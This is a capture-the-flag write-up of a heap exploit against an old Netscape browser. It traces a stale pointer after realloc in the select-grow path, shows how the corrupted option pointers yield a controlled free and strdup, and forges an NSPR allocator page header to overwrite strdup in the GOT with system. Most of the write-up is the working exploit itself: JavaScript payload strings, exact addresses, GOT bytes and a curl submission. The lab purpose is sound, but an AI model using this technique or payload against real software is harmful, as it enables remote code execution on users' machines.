The bug is a stale pointer in the select.length grow path. When Netscape grows the lo_FormElementOptionData array, it calls realloc() and then zeroes the newly-added slots through the old pointer. That gives a controlled heap overwrite.
I used that overwrite to corrupt option.value pointers, then turned later option.value = ... assignments into controlled frees inside NSPR's old prmalloc allocator. From there I forged a struct pginfo for the 32-byte bucket, made the allocator hand me a chunk at the GOT, overwrote strdup@GOT with system@plt, and finally triggered:
/usr/local/bin/dispense_flag;/bin/falseThe broker accepted the exploit and returned:
flag{0ld3r_bu7_n0t_w1s3r}
The root bug is in lib/libmocha/lm_input.c:
new_option_cnt = intval;
old_option_cnt = selectData->option_cnt;
optionData = (lo_FormElementOptionData *) selectData->options;
selectData->option_cnt = new_option_cnt;
if (!LO_ResizeSelectOptions(selectData)) {
...
}
if (new_option_cnt > old_option_cnt) {
XP_BZERO(&optionData[old_option_cnt],
(new_option_cnt - old_option_cnt)
* sizeof *optionData);
}The relevant lines are lib/libmocha/lm_input.c:929 through lib/libmocha/lm_input.c:975. optionData is loaded before LO_ResizeSelectOptions(), but LO_ResizeSelectOptions() can PA_REALLOC() the backing array. The grow-case XP_BZERO() then runs through the stale pointer.
The affected structure is small and pointer-heavy:
struct lo_FormElementOptionData_struct {
PA_Block text_value;
PA_Block value;
Bool def_selected;
Bool selected;
};See include/lo_ele.h:613.
LO_ResizeSelectOptions() itself really does call PA_REALLOC() on the options array, so the stale-pointer interpretation is correct. See lib/layout/layform.c:2037 through lib/layout/layform.c:2067.
option.value = ... ends up here:
if (option_slot == OPTION_TEXT) {
lm_SaveParamString(cx, &optionData[option->index].text_value, value);
} else {
lm_SaveParamString(cx, &optionData[option->index].value, value);
}That path is at lib/libmocha/lm_input.c:244 through lib/libmocha/lm_input.c:269.
lm_SaveParamString() does exactly what I wanted:
if (*bp)
PA_FREE(*bp);
*bp = (PA_Block) strdup(str);See lib/libmocha/lm_init.c:1823 through lib/libmocha/lm_init.c:1829.
That means a corrupted option.value pointer gives a clean free(controlled_pointer) followed by a strdup(controlled_string).
The browser does not use glibc malloc; it uses NSPR's old prmalloc in nsprpub/pr/src/malloc/prmalloc.c.
Two routines matter:
malloc_bytes() pulls a chunk from the linked list head in page_dir[bits], scans bits[] for the first set bit, clears it, and returns:
return bp->page + (k << bp->shift);See nsprpub/pr/src/malloc/prmalloc.c:663 through nsprpub/pr/src/malloc/prmalloc.c:707.
free_bytes() reinserts a page into the bucket list when a previously-full page gets its first free chunk:
if (info->free == 1) {
mp = page_dir + info->shift;
while (*mp && (*mp)->next && (*mp)->next->page < info->page)
mp = &(*mp)->next;
info->next = *mp;
*mp = info;
return;
}See nsprpub/pr/src/malloc/prmalloc.c:1023 through nsprpub/pr/src/malloc/prmalloc.c:1057.
The exploit idea is straightforward once those two pieces are clear:
- Get a controlled free on a page that was full.
- Replace that page's
pginfocontents with attacker-controlled bytes. - Free one more chunk on that page so the forged
pginfois inserted intopage_dir[5]. - Make a 32-byte allocation so
malloc_bytes()returnsfake_page + (chosen_chunk << 5).
For local playtesting I used a helper page generator in manual-work/test_server.py, but the important browser-side sequence was:
- Create a
<select>with two options. - Use a timer-string heap object as the victim allocation next to the soon-to-be-reallocated options array.
- Set
s.length = 8to trigger the staleXP_BZERO(). - Use the corrupted option slots later in a timed
smash()function.
The stale overwrite let me corrupt two option.value pointers so that:
s[3].valuepointed at0x0887601fs[4].valuepointed at0x0887603f
0x08876000 was chosen after scanning the live process: it was a full 32-byte page (shift = 5, size = 32, free = 0, total = 127), which is ideal for the free == 1 reinsertion path.
The first write was:
s[3].value = unescape("%10%60%64%08%cc%fd%60%08%20%20%05");Those bytes are:
next = 0x08646010(temporary placeholder;free_bytes()overwrites it later)page = 0x0860fdccsize = 0x20shift = 0x05
Why this works:
- The corrupted stale pointer
0x0887601ffrees chunk 0 on the full page0x08876000. - The replacement string is only 11 bytes long, but this allocator's minimum allocation size is 32 bytes, so
strdup()immediately reuses that 32-byte chunk. - As a result, the copied string lands directly at
0x08876000, which is also the page-localstruct pginfofor that page.
The important choice is page = 0x0860fdcc, not 0x0860fdd0.
With bits0 = 0x2 later, the first allocation from this forged page will be:
0x0860fdcc + 0x20 = 0x0860fdec
That is dlsym@GOT, which let me slide the overwrite window earlier and preserve more neighboring GOT entries than the simpler strdup@GOT-direct attempt.
The second write was:
s[4].value = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";That is 59 B characters.
This does two useful things:
- The corrupted stale pointer
0x0887603ffrees chunk 1 on the forged page. Because the page was full,free_bytes()inserts the forgedpginfointopage_dir[5]. - The replacement string length is 60 including the NUL terminator, so the new
strdup()allocation comes from the 64-byte bucket, not the 32-byte bucket. That leaves the forged 32-byte bucket entry intact.
After this step, the forged page state was effectively:
page = 0x0860fdccshift = 5free = 1bits0 = 0x2
So the next bucket-5 allocation returns 0x0860fdec.
My first attempt wrote directly at strdup@GOT, but the terminating NUL clobbered gettimeofday@GOT and the browser died too early.
The stable solution was to start 4 bytes earlier, at dlsym@GOT, and preserve as many adjacent entries as possible.
The relevant runtime addresses were:
system@plt = 0x0806f6ccdlsym@GOT = 0x0860fdecstrdup@GOT = 0x0860fdf0
The exact 31-byte payload written by the 32-byte allocation was:
12 05 07 08
cc f6 06 08
32 05 07 08
cc 72 08 40
52 05 07 08
62 05 07 08
72 05 07 08
f0 48 22
Interpreted as GOT entries starting at 0x0860fdec:
dlsympreserved as0x08070512strdupchanged to0x0806f6cc(system@plt)XFreeFontpreservedXChangeWindowAttributespreservedXSetCommandpreservedXSetICFocuspreservedXSetSubwindowModepreserved- first 3 bytes of
symlinkpreserved - the final NUL overwrote only the last byte of
symlink
That was stable enough to keep the process alive through the final trigger.
The easiest way I found to make that 32-byte allocation was a timeout string with a 31-byte body:
keep[keep.length] = setTimeout(unescape(payload31), 60000);31 + 1 == 32, so the internal string allocation lands in the 32-byte bucket and hits the forged pginfo.
Once strdup@GOT pointed at system@plt, I only needed one more option.value assignment:
s[0].value = "/usr/local/bin/dispense_flag;/bin/false";That reaches lm_SaveParamString(), which calls strdup(str). After the GOT overwrite, that call becomes:
system("/usr/local/bin/dispense_flag;/bin/false");The ;/bin/false suffix matters. lm_SaveParamString() checks the return value and treats zero as failure. system() returns the shell's exit status, so appending /bin/false makes the return value non-zero and keeps lm_SaveParamString() happy long enough for the helper to write the broker marker file.
The exploit page that actually worked performed these browser-side actions in order:
// 1. Place forged pginfo on the 32-byte page.
s[3].value = unescape("%10%60%64%08%cc%fd%60%08%20%20%05");
// 2. Free chunk 1 and reinsert the forged page into bucket 5.
s[4].value = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
// 3. Force a 32-byte allocation that writes 31 controlled bytes + NUL.
keep[keep.length] = setTimeout(
unescape(
"%12%05%07%08" + // dlsym, preserved
"%cc%f6%06%08" + // strdup -> system@plt
"%32%05%07%08" + // XFreeFont, preserved
"%cc%72%08%40" + // XChangeWindowAttributes, preserved
"%52%05%07%08" + // XSetCommand, preserved
"%62%05%07%08" + // XSetICFocus, preserved
"%72%05%07%08" + // XSetSubwindowMode, preserved
"%f0%48%22" // first 3 bytes of symlink
),
60000
);
// 4. Call the hijacked strdup().
s[0].value = "/usr/local/bin/dispense_flag;/bin/false";The helper server packed the exploit into a single URL. The exact local playtest submission that won was:
curl -sS -X POST \
--data-urlencode 'url=http://10.0.2.2:18080/select_probe?grow=8&delay=1000&touch=3&touch_prop=value&do_touch=1&touch_hex=10606408ccfd6008202005&timeout_hex=414141414141414141414141414141414141414141414141414141414141414141414141104465081f60870801010101104465083f60870801010101104465081044650801010101104465081044650801010101104465081044650801010101&final_script_hex=735b345d2e76616c75653d224242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242223b6b6565705b6b6565702e6c656e6774685d3d73657454696d656f757428756e657363617065282225313225303525303725303825636325663625303625303825333225303525303725303825636325373225303825343025353225303525303725303825363225303525303725303825373225303525303725303825663025343825323222292c3630303030293b735b305d2e76616c75653d222f7573722f6c6f63616c2f62696e2f64697370656e73655f666c61673b2f62696e2f66616c7365223b&log_start=0&log_after=0' \
http://127.0.0.1:8080/submitThe broker response was:
{
"job_id": "20260412-020948-fd461fe8",
"success": true,
"message": "exploit succeeded",
"duration_seconds": 27.815,
"flag": "flag{0ld3r_bu7_n0t_w1s3r}"
}This challenge is solvable as an old-school browser heap exploit:
- Trigger a stale-pointer zero in the select grow path.
- Corrupt option string pointers.
- Turn
option.value = ...into controlledfree()plusstrdup(). - Forge and reinsert an NSPR
pginfofor the 32-byte bucket. - Use a 31-byte timeout string to obtain a 32-byte allocation at the GOT.
- Redirect
strdup@GOTtosystem@plt. - Trigger
/usr/local/bin/dispense_flag;/bin/false.
That was enough for the broker to accept the exploit and return the flag.